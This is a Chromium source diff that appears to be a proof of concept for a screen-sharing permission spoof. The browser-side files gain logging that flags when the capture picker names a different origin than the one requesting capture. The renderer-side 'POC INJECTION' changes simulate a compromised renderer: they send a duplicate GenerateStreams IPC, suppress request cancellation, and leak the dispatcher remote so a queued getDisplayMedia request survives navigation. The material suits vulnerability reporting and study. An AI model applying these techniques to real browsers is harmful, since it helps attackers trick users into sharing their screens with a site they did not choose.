diff --git a/chrome/browser/media/webrtc/display_media_access_handler.cc b/chrome/browser/media/webrtc/display_media_access_handler.cc index e01688c08958c..fa53569368092 100644 --- a/chrome/browser/media/webrtc/display_media_access_handler.cc +++ b/chrome/browser/media/webrtc/display_media_access_handler.cc @@ -182,6 +182,10 @@ void DisplayMediaAccessHandler::HandleRequest( DCHECK_CURRENTLY_ON(content::BrowserThread::UI); DCHECK(web_contents); + LOG(ERROR) << "POC[browser]: HandleRequest page_request_id=" + << request.page_request_id + << " origin=" << request.security_origin; + RenderFrameHost* const rfh = RenderFrameHost::FromID( request.render_process_id, request.render_frame_id); if (!rfh || !rfh->IsActive()) { @@ -353,6 +357,10 @@ void DisplayMediaAccessHandler::ShowMediaSelectionDialog( RequestsQueue& queue = pending_requests_[web_contents]; + LOG(ERROR) << "POC[browser]: ShowMediaSelectionDialog enqueueing " + << "page_request_id=" << request.page_request_id + << " queue.size_before=" << queue.size(); + queue.push_back(std::make_unique( std::move(picker), request, std::move(callback), GetApplicationTitle(web_contents), display_notification_, @@ -592,6 +600,34 @@ void DisplayMediaAccessHandler::ProcessQueuedPickerRequest( picker_params.includable_web_contents_filter = includable_web_contents_filter; #endif + // ---- POC OBSERVATION ONLY (no behavior change) ---- + // Log the displayed origin vs the actual requesting origin so the spoof + // can be observed without a visible display. + { + const std::string displayed = base::UTF16ToUTF8(picker_params.app_name); + const std::string requester( + pending_request.request.security_origin.host()); + LOG(ERROR) << "POC[browser]: ProcessQueuedPickerRequest showing picker " + << "app_name='" << displayed << "' " + << "security_origin.host='" << requester << "' " + << "render_process_id=" + << pending_request.request.render_process_id + << " render_frame_id=" + << pending_request.request.render_frame_id; + RenderFrameHost* poc_rfh = + RenderFrameHost::FromID(pending_request.request.render_process_id, + pending_request.request.render_frame_id); + LOG(ERROR) << "POC[browser]: requester RFH " + << (poc_rfh ? (poc_rfh->IsActive() ? "ACTIVE" : "INACTIVE") + : "DESTROYED"); + if (displayed.find(requester) == std::string::npos) { + LOG(ERROR) + << "POC[browser]: *** ORIGIN SPOOF *** picker attributes request " + "from '" + << requester << "' to '" << displayed << "'"; + } + } + // ---- END POC OBSERVATION ---- pending_request.picker->Show(picker_params, std::move(source_lists), std::move(done_callback)); } @@ -621,6 +657,8 @@ void DisplayMediaAccessHandler::RejectRequest(WebContents* web_contents, DCHECK_CURRENTLY_ON(content::BrowserThread::UI); DCHECK(web_contents); + LOG(ERROR) << "POC[browser]: RejectRequest result=" + << static_cast(result); auto it = pending_requests_.find(web_contents); if (it == pending_requests_.end()) { return; @@ -798,6 +836,8 @@ void DisplayMediaAccessHandler::DeletePendingAccessRequest( int render_process_id, int render_frame_id, int page_request_id) { + LOG(ERROR) << "POC[browser]: DeletePendingAccessRequest page_request_id=" + << page_request_id; for (auto& queue_it : pending_requests_) { RequestsQueue& queue = queue_it.second; for (auto it = queue.begin(); it != queue.end(); ++it) { diff --git a/chrome/browser/ui/views/desktop_capture/desktop_media_picker_views.cc b/chrome/browser/ui/views/desktop_capture/desktop_media_picker_views.cc index dddbfd77208d5..5975999a52369 100644 --- a/chrome/browser/ui/views/desktop_capture/desktop_media_picker_views.cc +++ b/chrome/browser/ui/views/desktop_capture/desktop_media_picker_views.cc @@ -507,6 +507,8 @@ DesktopMediaPickerDialogView::DesktopMediaPickerDialogView( // If the dialog is being closed then notify the parent about it. // That the parent has not yet been detached indicates that there // has been no result yet. We can infer that the user rejected. + LOG(ERROR) << "POC[browser]: DeleteDelegateCallback parent=" + << !!dialog->parent_; if (dialog->parent_) { dialog->parent_->NotifyDialogResult(base::unexpected( MediaStreamRequestResult::PERMISSION_DENIED_BY_USER)); @@ -681,6 +683,8 @@ DesktopMediaPickerDialogView::DesktopMediaPickerDialogView( ConfigureUIForNewPane(previously_selected_category_); bool modal_dialog = MediaPickerCanShowAsWebModal(params.web_contents); + LOG(ERROR) << "POC[browser]: DesktopMediaPickerDialogView modal_dialog=" + << modal_dialog; views::Widget* widget = CreateMediaPickerDialogWidget( modal_dialog ? GlobalBrowserCollection::GetInstance()->FindBrowserWithTab( params.web_contents) @@ -1378,6 +1382,7 @@ END_METADATA DesktopMediaPickerImpl::DesktopMediaPickerImpl() : dialog_(nullptr) {} DesktopMediaPickerImpl::~DesktopMediaPickerImpl() { + LOG(ERROR) << "POC[browser]: ~DesktopMediaPickerImpl dialog_=" << !!dialog_; if (dialog_) { if (request_source_ == RequestSource::kGetDisplayMedia) { dialog_->RecordUmaDismissal(); @@ -1402,6 +1407,7 @@ void DesktopMediaPickerImpl::Show( void DesktopMediaPickerImpl::NotifyDialogResult( base::expected result) { DCHECK_CURRENTLY_ON(content::BrowserThread::UI); + LOG(ERROR) << "POC[browser]: NotifyDialogResult"; // Once this method is called the |dialog_| will close and destroy itself. dialog_->DetachParent(); diff --git a/components/web_modal/web_contents_modal_dialog_manager.cc b/components/web_modal/web_contents_modal_dialog_manager.cc index 94340c80ac8ea..03797501c08fe 100644 --- a/components/web_modal/web_contents_modal_dialog_manager.cc +++ b/components/web_modal/web_contents_modal_dialog_manager.cc @@ -8,6 +8,7 @@ #include #include "base/check.h" +#include "base/logging.h" #include "components/back_forward_cache/back_forward_cache_disable.h" #include "components/web_modal/web_contents_modal_dialog_manager_delegate.h" #include "content/public/browser/back_forward_cache.h" @@ -186,11 +187,16 @@ void WebContentsModalDialogManager::DidFinishNavigation( } // Close constrained windows if necessary. + LOG(ERROR) << "POC[browser]: WebContentsModalDialogManager DidFinishNavigation" + << " prev=" << navigation_handle->GetPreviousPrimaryMainFrameURL() + << " new=" << navigation_handle->GetURL() + << " child_dialogs=" << child_dialogs_.size(); if (!net::registry_controlled_domains::SameDomainOrHost( navigation_handle->GetPreviousPrimaryMainFrameURL(), navigation_handle->GetURL(), net::registry_controlled_domains::INCLUDE_PRIVATE_REGISTRIES)) { observer_list_.Notify(&Observer::OnWillCloseOnNavigation); + LOG(ERROR) << "POC[browser]: WebContentsModalDialogManager CloseAllDialogs"; CloseAllDialogs(); } } diff --git a/third_party/blink/renderer/modules/mediastream/user_media_processor.cc b/third_party/blink/renderer/modules/mediastream/user_media_processor.cc index dabfc02766f25..d86289f23b7bd 100644 --- a/third_party/blink/renderer/modules/mediastream/user_media_processor.cc +++ b/third_party/blink/renderer/modules/mediastream/user_media_processor.cc @@ -11,6 +11,7 @@ #include #include "base/functional/callback_helpers.h" +#include "mojo/public/cpp/bindings/remote.h" // POC INJECTION #include "base/location.h" #include "base/logging.h" #include "base/metrics/histogram_functions.h" @@ -1243,6 +1244,30 @@ void UserMediaProcessor::GenerateStreamForCurrentRequestInfo( BindOnce(&UserMediaProcessor::OnStreamsGenerated, WrapWeakPersistent(this), current_request_info_->request_id())); + // ---- POC INJECTION (compromised-renderer simulation) ---- + // A compromised renderer is not bound by the renderer-side one-at-a-time + // queue and can send a second GenerateStreams IPC immediately. The + // browser-side DisplayMediaAccessHandler will enqueue it behind the first. + if (current_request_info_->stream_controls()->video.stream_type == + MediaStreamType::DISPLAY_VIDEO_CAPTURE) { + LOG(ERROR) << "POC[renderer]: sending duplicate GenerateStreams " + "(compromised-renderer simulation)"; + GetMediaStreamDispatcherHost()->GenerateStreams( + current_request_info_->request_id() + 1000, + *current_request_info_->stream_controls(), + current_request_info_->is_processing_user_gesture(), + mojom::blink::StreamSelectionInfo::NewSearchBySessionId( + mojom::blink::SearchBySessionId::New( + requested_audio_capture_session_ids)), + base::BindOnce( + [](MediaStreamRequestResult result, const String&, + mojom::blink::StreamDevicesSetPtr, bool) { + LOG(ERROR) + << "POC[renderer]: duplicate GenerateStreams reply result=" + << static_cast(result); + })); + } + // ---- END POC INJECTION ---- } } @@ -2341,10 +2366,15 @@ bool UserMediaProcessor::CancelRequest(UserMediaRequest* user_media_request) { user_media_request->request_id())); switch (current_request_info_->state()) { case RequestInfo::State::kSentForGeneration: - // Let the browser process know that the previously sent request must be - // canceled. - GetMediaStreamDispatcherHost()->CancelRequest( - current_request_info_->request_id()); + // ---- POC INJECTION (compromised-renderer simulation) ---- + // A compromised renderer would not voluntarily tell the browser to + // cancel its in-flight getDisplayMedia request when the frame is + // torn down; it wants the queued request to survive navigation. + LOG(ERROR) + << "POC[renderer]: suppressing CancelRequest(" + << current_request_info_->request_id() + << ") in CancelRequest (compromised-renderer simulation)"; + // ---- END POC INJECTION ---- [[fallthrough]]; case RequestInfo::State::kNotSentForGeneration: @@ -2384,10 +2414,15 @@ void UserMediaProcessor::StopAllProcessing() { UpdateRequestResult(current_request_info_->request(), result); switch (current_request_info_->state()) { case RequestInfo::State::kSentForGeneration: - // Let the browser process know that the previously sent request must be - // canceled. - GetMediaStreamDispatcherHost()->CancelRequest( - current_request_info_->request_id()); + // ---- POC INJECTION (compromised-renderer simulation) ---- + // A compromised renderer would not voluntarily tell the browser to + // cancel its in-flight getDisplayMedia request when the frame is + // torn down; it wants the queued request to survive navigation. + LOG(ERROR) + << "POC[renderer]: suppressing CancelRequest(" + << current_request_info_->request_id() + << ") in StopAllProcessing (compromised-renderer simulation)"; + // ---- END POC INJECTION ---- [[fallthrough]]; case RequestInfo::State::kNotSentForGeneration: @@ -2474,11 +2509,23 @@ void UserMediaProcessor::FocusCapturedSurface(const String& label, bool focus) { mojom::blink::MediaStreamDispatcherHost* UserMediaProcessor::GetMediaStreamDispatcherHost() { - if (!dispatcher_host_.is_bound()) { + // ---- POC INJECTION (compromised-renderer simulation) ---- + // A compromised renderer can hold the MediaStreamDispatcherHost remote in + // process-global storage so the browser-side receiver (held in a + // mojo::UniqueReceiverSet with no RFH-lifetime tie) is never destroyed when + // this frame navigates away. This keeps the queued getDisplayMedia request + // alive across navigation. + static mojo::Remote* + poc_leaked_host = nullptr; + if (!poc_leaked_host) { + poc_leaked_host = + new mojo::Remote(); frame_->GetBrowserInterfaceBroker().GetInterface( - dispatcher_host_.BindNewPipeAndPassReceiver(task_runner_)); + poc_leaked_host->BindNewPipeAndPassReceiver(task_runner_)); + LOG(ERROR) << "POC[renderer]: leaked MediaStreamDispatcherHost remote"; } - return dispatcher_host_.get(); + return poc_leaked_host->get(); + // ---- END POC INJECTION ---- } mojom::blink::MediaDevicesDispatcherHost*